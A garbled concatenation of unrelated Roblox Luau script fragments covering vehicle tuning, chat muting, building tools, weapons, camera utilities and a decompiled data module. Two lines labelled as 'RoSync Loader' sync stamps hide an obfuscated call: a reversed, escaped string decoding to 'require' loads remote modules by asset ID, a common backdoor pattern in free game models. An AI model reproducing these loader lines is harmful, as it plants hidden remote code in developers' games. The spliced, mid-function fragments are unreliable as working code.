1 local mochiFloor = RS.FX.Mochi.C.MochiCFloor:Clone() mochiFloor.Size = Vector3.new(0, 1, 0) mochiFloor.CFrame = mochiPart.CFrame partCache:ReturnPart(mochiPart) mochiFloor.Parent = debrisFolder TS:Create(mochiFloor, TweenInfo.new(.18, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 1.5, poolSize * 2)}):Play() local spikes = { RS.FX.Mochi.C.Spike1, RS.FX.Mochi.C.Spike2, RS.FX.Mochi.C.Spike3, } local mochiSpike = spikes[math.random(1, #spikes)]:Clone() mochiSpike.CFrame = mochiFloor.CFrame task.delay(0.7, function() mochiSpike.Size = Vector3.new(mochiFloor.Size.X * 0.45, 0.01, mochiFloor.Size.Z * 0.5) mochiSpike.Parent = debrisFolder local spikeHeight = Random.new():NextNumber(20, 35) --print(spikeHeight) TS:Create(mochiSpike, TweenInfo.new(0.17, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = Vector3.new(mochiSpike.Size.X, spikeHeight, mochiSpike.Size.Z), CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.new(0, spikeHeight/2 - 2, 0) * CFrame.Angles(0, angle, 0)}):Play() mochiExplosion(mochiSpike.Position, mochiSpike) for i, v in pairs(mochiFloor.ExpFX:GetChildren()) do v:Emit(v:GetAttribute("EmitCount")) end task.delay(1, function() --warn(mochiSpike.Size) TS:Create(mochiSpike, TweenInfo.new(5, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = mochiSpike.Size * 0.98, CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0) * CFrame.new(0, (mochiSpike.Size.Y * 0.98)/2 - 3, 0)}):Play() task.delay(3, function() TS:Create(mochiSpike, TweenInfo.new(0.45, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(poolSize * 2, 0.3, poolSize * 2), CFrame = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0)}):Play() task.delay(0.45, function() TS:Create(mochiSpike, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new()}):Play() game.Debris:AddItem(mochiSpike, 0.6) end) end) end) end) task.delay(6, function() TS:Create(mochiFloor, TweenInfo.new(.6, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {Size = Vector3.new(0,0,0)}):Play() game.Debris:AddItem(mochiFloor, .7) end) end) end end
------------------------------------------------------------------
local EngineOn = false local Selected = false local LockedCam = false local LowestPoint = 0 local DesiredSpeed = 0 local CurrentSpeed = 0 local TrueAirSpeed = 0 local Throttle = 0
-- Shell physical properties
EjectionForce.PhysProperties = PhysicalProperties.new( 10, -- Density 30, -- Friction 0.1, -- Elasticity 10, -- FrictionWeight 1 -- ElasticityWeight )
--// Character
local Character = Player.Character or Player.CharacterAdded:Wait() local CharHMR = Character:WaitForChild("HumanoidRootPart")
--[[Engine]]
--Torque Curve Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--// Hash: e76ab6b5f74107b63444061a151808bff4d388a0efb1db95152961f726781a340b57a270e4c2f5dcf6522a615db73c1b -- Decompiled with the Synapse X Luau decompiler.
local v1 = { data = {}, event = {} }; local v2 = { "Knobs", "Revives", "Boosts", "Statistics", "Achievements" }; for v3, v4 in pairs(v2) do local v5 = Instance.new("BindableEvent"); v5.Name = v4 .. "Updated"; v5.Parent = script; v1.event[v4] = v5; end; v6 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaController")); local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer; v6.RequestData(); v6.ReplicaOfClassCreated("PlayerProfile", function(p1) local v8 = p1.Tags.Player == l__LocalPlayer__7; if not v8 then local v9 = p1.Tags.Player.Name .. "'s"; end; local l__Data__10 = p1.Data; v1.data = l__Data__10; if v8 then for v11, v12 in pairs(v2) do p1:ListenToChange({ v12 }, function(p2) v1.event[v12]:Fire(l__Data__10[v12]); end); v1.event[v12]:Fire(l__Data__10[v12]); end; end; end); local v13 = tick(); while true do wait(); if v6.InitialDataReceived then break; end; end; local v14 = tick(); return v1;
-- I recommend you leave this true because players could appear -- to be noclipping even if they're not exploiting. For example, -- from hopping around while inside a moving boat.
config.AllowNoclippingThroughPhysicsObjects = true
-- / Remote Events / --
local ToolEvent = Tool:WaitForChild("ToolEvent")
-- This is pcalled because the SetCore methods may not be released yet.
pcall(function() PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent") PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent") PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent") PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent") end) function SendSystemMessageToSelf(message) local currentChannel = ChatWindow:GetCurrentChannel() if currentChannel then local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = currentChannel.Name, IsFiltered = true, MessageLength = string.len(message), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)), Message = trimTrailingSpaces(message), MessageType = ChatConstants.MessageTypeSystem, Time = os.time(), ExtraData = nil, } currentChannel:AddMessageToChannel(messageData) end end function MutePlayer(player) local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest") if mutePlayerRequest then return mutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerBlockedEvent then PlayerBlockedEvent.Event:connect(function(player) if MutePlayer(player) then local playerName if ChatSettings.PlayerDisplayNamesEnabled then playerName = player.DisplayName else playerName = player.Name end SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", playerName) ), "{RBX_NAME}", playerName ) ) end end) end if PlayerMutedEvent then PlayerMutedEvent.Event:connect(function(player) if MutePlayer(player) then local playerName if ChatSettings.PlayerDisplayNamesEnabled then playerName = player.DisplayName else playerName = player.Name end SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", playerName) ), "{RBX_NAME}", playerName ) ) end end) end function UnmutePlayer(player) local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest") if unmutePlayerRequest then return unmutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerUnBlockedEvent then PlayerUnBlockedEvent.Event:connect(function(player) if UnmutePlayer(player) then local playerName if ChatSettings.PlayerDisplayNamesEnabled then playerName = player.DisplayName else playerName = player.Name end SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", playerName) ), "{RBX_NAME}", playerName ) ) end end) end if PlayerUnMutedEvent then PlayerUnMutedEvent.Event:connect(function(player) if UnmutePlayer(player) then local playerName if ChatSettings.PlayerDisplayNamesEnabled then playerName = player.DisplayName else playerName = player.Name end SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", playerName) ), "{RBX_NAME}", playerName ) ) end end) end
--------SETTINGS--------
local ITEM_NAME = "Sniper" local ITEM_PRICE = 10 local CURRENCY_NAME = "Cash"
--------------------------------------------------
script.Parent.Values.RPM.Changed:connect(function() intach.Rotation = -80 + script.Parent.Values.RPM.Value * 240 / 8000 end) script.Parent.Values.Velocity.Changed:connect(function(property) inspd.Rotation = -30 + (440 / 160) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/88)))) end) if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end script.Parent.Values.Boost.Changed:connect(function() local boost = (math.floor(script.Parent.Values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) inbst.Rotation = -30 + 61 * math.min(1,(script.Parent.Values.Boost.Value/(_Tune.Boost)/_TCount)) end) end
--[[ By: Brutez. ]]
-- local CameraRotateScript=script; local Camera=CameraRotateScript.Parent; while true do for RotateRight=1,100 do Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(-0.5),0) wait(0) end wait(2) for RotateLeft=1,100 do Camera.CFrame=Camera.CFrame*CFrame.fromEulerAnglesXYZ(0,math.rad(0.5),0) wait(0) end wait(2) end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -1.7 Tune.RCamber = -1.2 Tune.FToe = 0 Tune.RToe = 0
--if SignalValues.Signal1.Value == 1 then -- SignalValues.Signal1.Value = 2 --end --if SignalValues.Signal1a.Value == 1 then -- SignalValues.Signal1a.Value = 2 --end --if SignalValues.Signal2.Value == 1 then -- SignalValues.Signal2.Value = 2 --end --if SignalValues.Signal2a.Value == 1 then -- SignalValues.Signal2a.Value = 2 --end --if TurnValues.TurnSignal1.Value == 1 then -- TurnValues.TurnSignal1.Value = 2 --end --if TurnValues.TurnSignal1a.Value == 1 then -- TurnValues.TurnSignal1a.Value = 2 --end --if TurnValues.TurnSignal2.Value == 1 then -- TurnValues.TurnSignal2.Value = 2 --end --if TurnValues.TurnSignal2a.Value == 1 then -- TurnValues.TurnSignal2a.Value = 2 --end --if PedValues.PedSignal1.Value == 1 then -- PedValues.PedSignal1.Value = 2 --end --if PedValues.PedSignal1a.Value == 1 then -- PedValues.PedSignal1a.Value = 2 --end --if PedValues.PedSignal2.Value == 1 then -- PedValues.PedSignal2.Value = 2 --end --if PedValues.PedSignal2a.Value == 1 then -- PedValues.PedSignal2a.Value = 2 --end
--script.Parent.ScreenGui.Parent = game.ServerStorage
script.Parent.Equipped:Connect(function(Hit) script.Parent.Hand.Equip:Play() if script.Parent.Configuration.HasAbility.Value == true then script.Parent.AbilityServer.Disabled = false script.Parent.Ability.Disabled = false player = game.Players:GetPlayerFromCharacter(script.Parent.Parent) Mobile = script.Parent.MobileGui:Clone() Mobile.Parent = player.PlayerGui end end) script.Parent.Unequipped:Connect(function(Hit2) script.Parent.Hand.Equip:Stop() if script.Parent.Configuration.HasAbility.Value == true then script.Parent.AbilityServer.Disabled = true script.Parent.Ability.Disabled = true Mobile:Destroy() end end)
-- Initialize the tool
local RotateTool = { Name = 'Rotate Tool'; Color = BrickColor.new 'Bright green'; -- Default options Increment = 15; Pivot = 'Center'; } RotateTool.ManualText = [[<font face="GothamBlack" size="16">Rotate Tool 🛠</font> Allows you to rotate parts.<font size="12"><br /></font> <font size="12" color="rgb(150, 150, 150)"><b>Pivot</b></font> This option lets you choose what to rotate the parts around.<font size="6"><br /></font> <font color="rgb(150, 150, 150)">•</font> <b>CENTER</b> <font color="rgb(150, 150, 150)">—</font> Relative to the <b>center of the selection</b> <font color="rgb(150, 150, 150)">•</font> <b>LOCAL</b> <font color="rgb(150, 150, 150)">—</font> Each part around its <b>own center</b> <font color="rgb(150, 150, 150)">•</font> <b>LAST</b> <font color="rgb(150, 150, 150)">—</font> Relative to the <b>center of the last part clicked</b><font size="6"><br /></font> <b>TIP:</b> Click on any part to focus the handles on it.<font size="6"><br /></font> <b>TIP: </b>Hit the <b>Enter</b> key to switch between Pivot modes quickly.<font size="12"><br /></font> <font size="12" color="rgb(150, 150, 150)"><b>Increment</b></font> Lets you choose how many degrees to rotate by.<font size="6"><br /></font> <b>TIP: </b>Hit the – key to quickly type increments.<font size="6"><br /></font> <b>TIP: </b>Use your number pad to rotate exactly by the current increment. Holding <b>Shift</b> reverses the increment.<font size="4"><br /></font> <font color="rgb(150, 150, 150)">•</font> 4 & 6 — Y axis (green) <font color="rgb(150, 150, 150)">•</font> 1 & 9 — Z axis (blue) <font color="rgb(150, 150, 150)">•</font> 2 & 8 — X axis (red)<font size="12"><br /></font> <font size="12" color="rgb(150, 150, 150)"><b>Snapping</b></font> Press <b><i>R</i></b> and click on a part's <b>snap point</b> to rotate around it. ]]
-- I hope this helps you in your Roblox game developing journey! You can delete all these comments EXCEPT the first and second one at the top.
-- VisualComponents by Travis, modified for native visuals.
local Functions = require(script.Parent.Functions) Functions.Start(game.Workspace.VisualComponents)
-- setup emote chat hook
game.Players.LocalPlayer.Chatted:connect(function(msg) local emote = "" if msg == "/e dance" then emote = dances[math.random(1, #dances)] elseif (string.sub(msg, 1, 3) == "/e ") then emote = string.sub(msg, 4) elseif (string.sub(msg, 1, 7) == "/emote ") then emote = string.sub(msg, 8) end if (pose == "Standing" and emoteNames[emote] ~= nil) then playAnimation(emote, 0.1, Humanoid) end end)
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]] --[[ export const serialize: NewPlugin['serialize'] ]]
local function serialize( element: any, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer ): string depth += 1 return if depth > config.maxDepth then printElementAsLeaf(getType(element), config) else printElement( getType(element), printProps(getPropKeys(element), element.props, config, indentation .. config.indent, depth, refs, printer), printChildren( getChildren(element.props.children), config, indentation .. config.indent, depth, refs, printer ), config, indentation ) end exports.serialize = serialize
--[[ Last synced 4/6/2021 11:59 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Error handler
function red.error(err) print(err) end red.remotes = RunService:IsClient() and ReplicatedStorage:WaitForChild(Constants.remoteFolderName) or ReplicatedStorage:FindFirstChild(Constants.remoteFolderName) if not red.remotes then -- Container for remotes red.remotes = Instance.new('Folder') red.remotes.Name = Constants.remoteFolderName -- store:dispatch() calls from client to server and server to client local client = Instance.new('RemoteEvent') client.Name = 'Client' client.Parent = red.remotes -- store:dispatch() calls from server to server local server = Instance.new('BindableEvent') server.Name = 'Server' server.Parent = red.remotes red.remotes.Parent = ReplicatedStorage end return Util.extend(red, { Server = require(script.Server), State = require(script.State), Store = require(script.Store) })
--This is the server sided module for handling this vehicles seating requests
local Players = game:GetService("Players") local Workspace = game:GetService("Workspace") local HttpService = game:GetService("HttpService") local CollectionService = game:GetService("CollectionService") local DOOR_OPEN_SPEED = 2.15 local DOOR_OPEN_ANGLE = 55 local DOOR_OPEN_TIME = 0.5 --How long the door stays open for when entering/leaving local MAX_SEATING_DISTANCE = 15 local RemotesFolder = nil --Set later in the code by the SetRemotesFolder function local SeatTag = "Seat_" ..HttpService:GenerateGUID()
-- Start adding functionality to the tool
Tools.NewPart.Listeners.Equipped = function () local self = Tools.NewPart; -- Change the color of selection boxes temporarily self.State.PreviousSelectionBoxColor = SelectionBoxColor; SelectionBoxColor = self.Color; updateSelectionBoxColor(); -- Reveal the GUI self:showGUI(); -- Restore the type option self:changeType( self.Options.type ); end; Tools.NewPart.Listeners.Unequipped = function () local self = Tools.NewPart; -- Hide the GUI self:hideGUI(); -- Disconnect temporary connections for connection_index, Connection in pairs( self.Connections ) do Connection:disconnect(); self.Connections[connection_index] = nil; end; -- Restore the original color of selection boxes SelectionBoxColor = self.State.PreviousSelectionBoxColor; updateSelectionBoxColor(); end; Tools.NewPart.Listeners.Button1Down = function () local self = Tools.NewPart; local NewPart; -- Create the new part of type `self.Options.type` if self.Options.type == "normal" then NewPart = Instance.new( "Part", Services.Workspace ); NewPart.FormFactor = "Custom"; NewPart.Size = Vector3.new( 4, 1, 2 ); elseif self.Options.type == "truss" then NewPart = Instance.new( "TrussPart", Services.Workspace ); elseif self.Options.type == "wedge" then NewPart = Instance.new( "WedgePart", Services.Workspace ); elseif self.Options.type == "corner" then NewPart = Instance.new( "CornerWedgePart", Services.Workspace ); elseif self.Options.type == "cylinder" then NewPart = Instance.new( "Part", Services.Workspace ); NewPart.Shape = "Cylinder"; elseif self.Options.type == "ball" then NewPart = Instance.new( "Part", Services.Workspace ); NewPart.Shape = "Ball"; elseif self.Options.type == "seat" then NewPart = Instance.new( "Seat", Services.Workspace ); elseif self.Options.type == "vehicle seat" then NewPart = Instance.new( "VehicleSeat", Services.Workspace ); elseif self.Options.type == "spawn" then NewPart = Instance.new( "SpawnLocation", Services.Workspace ); end; NewPart.Anchored = true; -- Select the new part Selection:clear(); Selection:add( NewPart ); local HistoryRecord = { target = NewPart; apply = function ( self ) Selection:clear(); if self.target then self.target.Parent = Services.Workspace; Selection:add( self.target ); end; end; unapply = function ( self ) if self.target then self.target.Parent = nil; end; end; }; History:add( HistoryRecord ); -- Switch to the move tool and simulate clicking so -- that the user could easily position their new part equipTool( Tools.Move ); Tools.Move.ManualTarget = NewPart; NewPart.CFrame = CFrame.new( Mouse.Hit.p ); Tools.Move.Listeners.Button1Down(); Tools.Move.Listeners.Move(); end; Tools.NewPart.changeType = function ( self, new_type ) self.Options.type = new_type; self.TypeDropdown:selectOption( new_type:upper() ); if self.TypeDropdown.open then self.TypeDropdown:toggle(); end; end; Tools.NewPart.showGUI = function ( self ) -- Initialize the GUI if it's not ready yet if not self.GUI then local Container = Tool.Interfaces.BTNewPartToolGUI:Clone(); Container.Parent = UI; local TypeDropdown = createDropdown(); self.TypeDropdown = TypeDropdown; TypeDropdown.Frame.Parent = Container.TypeOption; TypeDropdown.Frame.Position = UDim2.new( 0, 70, 0, 0 ); TypeDropdown.Frame.Size = UDim2.new( 0, 140, 0, 25 ); TypeDropdown:addOption( "NORMAL" ).MouseButton1Up:connect( function () self:changeType( "normal" ); end ); TypeDropdown:addOption( "TRUSS" ).MouseButton1Up:connect( function () self:changeType( "truss" ); end ); TypeDropdown:addOption( "WEDGE" ).MouseButton1Up:connect( function () self:changeType( "wedge" ); end ); TypeDropdown:addOption( "CORNER" ).MouseButton1Up:connect( function () self:changeType( "corner" ); end ); TypeDropdown:addOption( "CYLINDER" ).MouseButton1Up:connect( function () self:changeType( "cylinder" ); end ); TypeDropdown:addOption( "BALL" ).MouseButton1Up:connect( function () self:changeType( "ball" ); end ); TypeDropdown:addOption( "SEAT" ).MouseButton1Up:connect( function () self:changeType( "seat" ); end ); TypeDropdown:addOption( "VEHICLE SEAT" ).MouseButton1Up:connect( function () self:changeType( "vehicle seat" ); end ); TypeDropdown:addOption( "SPAWN" ).MouseButton1Up:connect( function () self:changeType( "spawn" ); end ); self.GUI = Container; end; -- Reveal the GUI self.GUI.Visible = true; end; Tools.NewPart.hideGUI = function ( self ) -- Hide the GUI if it exists already if self.GUI then self.GUI.Visible = false; end; end; Tools.NewPart.Loaded = true;
--TheNexusAvenger --Runs the rocket projectile.
local Configuration = require(script:WaitForChild("Configuration")) local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY local BLAST_RADIUS = Configuration.BLAST_RADIUS local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY local ROCKET_DECAY_TIME = Configuration.ROCKET_DECAY_TIME local MAX_DAMAGE = Configuration.MAX_DAMAGE local MIN_DAMAGE = Configuration.MIN_DAMAGE local IGNORE_LIST = Configuration.IGNORE_LIST local Rocket = script.Parent local SwooshSound = Rocket:WaitForChild("SwooshSound") local Debris = game:GetService("Debris") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ExplodeEvent = Instance.new("RemoteEvent") ExplodeEvent.Name = "Explode" ExplodeEvent.Parent = Rocket local PlayerDamager = require(script:WaitForChild("PlayerDamager")) local FiredByValue = Rocket:WaitForChild("FiredBy",10^99) while FiredByValue.Value == nil do FiredByValue.Changed:Wait() end local FiredPlayer = FiredByValue.Value local FiredCharacter = FiredPlayer.Character local Exploded = false SwooshSound:Play() Debris:AddItem(Rocket,ROCKET_DECAY_TIME) for Key,Value in pairs(IGNORE_LIST) do if type(Key) == "string" then IGNORE_LIST[string.lower(Key)] = Value end end
--[[Utilities.tweenFoV = function(FOV,step) coroutine.resume(coroutine.create(function() local fv0 = cam.FieldOfView for i = 0,90,step do local r = ((math.sin(math.rad(i))+1)/2) cam.FieldOfView = (Vector3.new(fv0,0,0):Lerp(Vector3.new(FOV,0,0),r).X) rs:wait() end end)) end]]
-- Utilities.tweenFoV = function(goal, frames) if not _G.tweeningFov then coroutine.resume(coroutine.create(function() SFn = SFn and SFn + 1 or 0 local SFn_S = SFn for i = 1, frames do if SFn ~= SFn_S then break end cam.FieldOfView = cam.FieldOfView + (goal - cam.FieldOfView) * (i / frames) game:GetService("RunService").RenderStepped:wait() --_G.tweeningFov = true end --_G.tweeningFov = false end)) end end Utilities.tweenRoll = function(Roll,step) coroutine.resume(coroutine.create(function() local r0 = cam:GetRoll() for i = -90,90,step do local r = ((math.sin(math.rad(i))+1)/2) cam:SetRoll(Vector3.new(r0,0,0):Lerp(Vector3.new(Roll,0,0),r).X) rs:wait() end end)) end Utilities.Fade = function(target, goal, frames, IsGui) coroutine.resume(coroutine.create(function() for i = 1, frames do if IsGui == true then target.TextTransparency = target.TextTransparency + (goal - target.TextTransparency) * (i / frames) rs:wait() elseif IsGui == false then target.Size = target.Size + (goal - target.Size) * (i / frames) rs:wait() end end end)) end Utilities.FixCam = function() cam.CameraSubject = player.Character.Humanoid cam.CameraType = "Custom" player.Character.Humanoid.WalkSpeed = 16 end Utilities.SpawnCam = function(Target) cam.CameraType = "Attach" cam.CameraSubject = Target wait(.05) cam.CoordinateFrame = Target.CFrame cam.CameraType = "Scriptable" player.Character.Humanoid.WalkSpeed = 0 end Utilities.tweenCam = function(CO, t) coroutine.resume(coroutine.create(function() COn = COn and COn + 1 or 0 local COn_S = COn for i = 1, t do if COn ~= COn_S then break end char.Humanoid.CameraOffset = char.Humanoid.CameraOffset + (CO - char.Humanoid.CameraOffset) * (i / t) rs:wait() end end)) end Utilities.TweenJoint = function(Joint, newC0, newC1, Alpha, Duration) spawn(function() local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000 local tweenIndicator = nil if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then tweenIndicator = Instance.new("IntValue") tweenIndicator.Name = "tweenCode" tweenIndicator.Value = newCode tweenIndicator.Parent = Joint else tweenIndicator = Joint.tweenCode tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop end if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop if newC0 then Joint.C0 = newC0 end if newC1 then Joint.C1 = newC1 end else local Increment = 1.5 / Duration --Calculate the increment here so it doesn't need to be calculated in the loop local startC0 = Joint.C0 local startC1 = Joint.C1 local X = 0 while true do rs:wait() --This makes the for loop step every 1/60th of a second local newX = X + Increment X = (newX > 90 and 90 or newX) --Makes sure the X never goes above 90 if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end if X == 90 then break end --If the tweening is done... end end if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code tweenIndicator:Destroy() end end) end Utilities.Weld = function(p1, p2, c0) local w = Instance.new("Motor6D", p1) w.Part0 = p1 w.Part1 = p2 w.Name = p1.Name w.C0 = c0 or p1.CFrame:inverse() * p2.CFrame end return Utilities
--[[ Local Functions ]]
-- function MouseLockController:OnMouseLockToggled() self.isMouseLocked = not self.isMouseLocked if self.isMouseLocked then local cursorImageValueObj: StringValue = script:FindFirstChild("CursorImage") :: StringValue if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then self.savedMouseCursor = Mouse.Icon Mouse.Icon = cursorImageValueObj.Value else if cursorImageValueObj then cursorImageValueObj:Destroy() end cursorImageValueObj = Instance.new("StringValue") cursorImageValueObj.Name = "CursorImage" cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR cursorImageValueObj.Parent = script self.savedMouseCursor = Mouse.Icon Mouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR end else if self.savedMouseCursor then Mouse.Icon = self.savedMouseCursor self.savedMouseCursor = nil end end self.mouseLockToggledEvent:Fire() end function MouseLockController:DoMouseLockSwitch(name, state, input) if state == Enum.UserInputState.Begin then self:OnMouseLockToggled() return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function MouseLockController:BindContextActions() ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input) return self:DoMouseLockSwitch(name, state, input) end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys)) end function MouseLockController:UnbindContextActions() ContextActionService:UnbindAction(CONTEXT_ACTION_NAME) end function MouseLockController:IsMouseLocked(): boolean return self.enabled and self.isMouseLocked end function MouseLockController:EnableMouseLock(enable: boolean) if enable ~= self.enabled then self.enabled = enable if self.enabled then -- Enabling the mode self:BindContextActions() else -- Disabling -- Restore mouse cursor if Mouse.Icon~="" then Mouse.Icon = "" end self:UnbindContextActions() -- If the mode is disabled while being used, fire the event to toggle it off if self.isMouseLocked then self.mouseLockToggledEvent:Fire() end self.isMouseLocked = false end end end return MouseLockController
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and energy.Value > 12 then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(1) Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false wait(.5) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
-- a single button script :p
local THEbutton = script.Parent.Button local CD = Instance.new("ClickDetector",THEbutton) CD.MaxActivationDistance = 5 local deb = false local TS = game:GetService("TweenService") local og_pos = THEbutton.CFrame CD.MouseClick:Connect(function() if not deb then deb = true local start = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false,0),{CFrame = og_pos* CFrame.new(-.03,0,0)}) start.Completed:Connect(function() local End = TS:Create(THEbutton,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = og_pos}) End.Completed:Connect(function() deb = false end) End:Play() end) start:Play() end end)
--returns the wielding player of this tool
function getPlayer() local char = Tool.Parent return game:GetService("Players"):GetPlayerFromCharacter(Character) end function Toss(direction) local OriginalWalkSpeed = Humanoid.WalkSpeed OriginalWalkSpeed = OriginalWalkSpeed Humanoid.WalkSpeed = 0 local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z) local spawnPos = Character.Head.Position spawnPos = spawnPos + (direction * 5) Tool.Handle.Transparency = 1 local Object = Tool.Handle:Clone() Object.Parent = workspace Object.Transparency = 0 Object.Swing.Pitch = math.random(90, 110)/100 Object.Swing:Play() Object.CanCollide = true Object.CFrame = Tool.Handle.CFrame Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0) Object.Fuse:Play() Object.Sparks.Enabled = true local rand = 11.25 Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand)) Object:SetNetworkOwner(getPlayer()) local ScriptClone = DamageScript:Clone() ScriptClone.FriendlyFire.Value = FriendlyFire ScriptClone.Damage.Value = AttackDamage ScriptClone.Parent = Object ScriptClone.Disabled = false local tag = Instance.new("ObjectValue") tag.Value = getPlayer() tag.Name = "creator" tag.Parent = Object Humanoid.WalkSpeed = OriginalWalkSpeed Tool:Destroy() end Remote.OnServerEvent:Connect(function(player, mousePosition) if not AttackAble then return end AttackAble = false if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then Remote:FireClient(getPlayer(), "PlayAnimation", "Animation") end local targetPos = mousePosition.p local lookAt = (targetPos - Character.Head.Position).unit Toss(lookAt) LeftDown = true end) function onLeftUp() LeftDown = false end Tool.Equipped:Connect(function() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") end)
-- Make sure to watch my video on more details on how to make it more realistic.
-- This function only runs once, special for first time spawn. You can see the other function below this.
--[[ Last synced 10/14/2020 09:36 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--Serverside logic
